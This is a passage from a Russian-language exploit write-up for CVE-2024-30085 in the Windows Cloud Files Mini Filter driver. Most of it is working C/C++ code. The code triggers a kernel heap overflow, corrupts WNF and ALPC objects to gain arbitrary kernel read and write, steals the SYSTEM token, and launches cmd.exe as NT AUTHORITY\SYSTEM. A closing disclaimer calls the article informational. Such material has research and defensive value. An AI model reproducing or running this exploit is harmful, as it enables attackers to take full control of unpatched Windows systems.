PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
createBitmap(bitmap0);
pReparseCldBuffer->Crc32 = RtlComputeCrc32(0, (BYTE*)(&pReparseCldBuffer->Size), ReparseDataBufferLength - 0x14);Триггерим переполнение:
trigger(dir, (BYTE*)pReparseDataBuffer, ReparseDataBufferLength);
RemoveDirectoryW(dir);
std::this_thread::sleep_for(std::chrono::seconds(60));Удаление папки dir необходимо, потому что в случае неудачи система рухнет и будет падать при последующих перезагрузках. А задержка нужна, чтобы дать время произойти переполнению.
Далее происходит поиск захваченного объекта _WNF_NAME_INSTANCE:
INT32 wnfCorruptedNameIndex = WnfFindCorruptedName(portsCount);
if (wnfCorruptedNameIndex == -1) {
printf("[-] Corrupted Wnf are not found\n");
return -1;
}
printf("[+] Found corrupted Wnf at index %d\n", wnfCorruptedNameIndex);После чего подменяем нулевой хэндл в таблице _ALPC_HANDLE_ENTRY:
BYTE* fakeReserve = AlpcGetFakeMessage();
UINT32 wnfOriginalDataSize = 0xff0;
std::vector<UINT8> corruptAlpc;
UINT32 corruptAlpcSize = wnfOriginalDataSize + 0x8; // overflow one handle ptr
corruptAlpc.reserve(corruptAlpcSize);
memset(corruptAlpc.data(), 'W', wnfOriginalDataSize);
*((BYTE**)(corruptAlpc.data() + wnfOriginalDataSize)) = fakeReserve;
// corrupt Alpc handle
if (!WnfRelativeWrite(wnfCorruptedNameIndex, corruptAlpc.data(), corruptAlpcSize)) {
printf("[-] wnfRelativeWrite failed\n");
return -1;
}И применяем технику Token Stealing в финале:
// read system token
BYTE* outputData = (BYTE*)calloc(1, 0x1000);
AlpcArbitraryRead(portsCount, pipeAttributeAddr, systemEPROCaddr, outputData, 0x1000);
ULONG tokenOffset = 0x4b8;
ULONG_PTR systemTtoken = *(ULONG_PTR*)(outputData + tokenOffset);
if (!systemTtoken) {
printf("[-] System TOKEN are not found\n");
return -1;
}
printf("[+] System TOKEN: %p\n", systemTtoken);
ULONG_PTR targetToken = EPROCaddr + tokenOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(1, 0x8);
payload[0] = systemTtoken;
// replace target token with system token
BOOL bRetNoMatter = AlpcArbitraryWrite(portsCount, (BYTE*)targetToken, (BYTE*)payload, 0x8); // returns false, but writting actually works
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0 };
BOOL bRet = CreateProcess(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation
);
if (!bRet) {
printf("[-] Failed to Create Target Process: 0x%X\n", GetLastError());
return -1;
}Слить адреса токенов можно через метод NtQuerySystemInformation. Пример есть у Нассима. А результат успешной работы эксплойта выглядит так.
Результат
В результате, используя уязвимость CVE-2024-30085 в драйвере Windows Cloud Files Mini Filter и связку WNF + ALPC, мы создали примитивы на чтение и запись в ядерную память. Благодаря чему, украли системный токен и запустили терминал с правами NT AUTHORITY\SYSTEM.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в интернете. Авторы не несут ответственности за использование опубликованной информации. Помните, что нужно следить за защищенностью своих данных.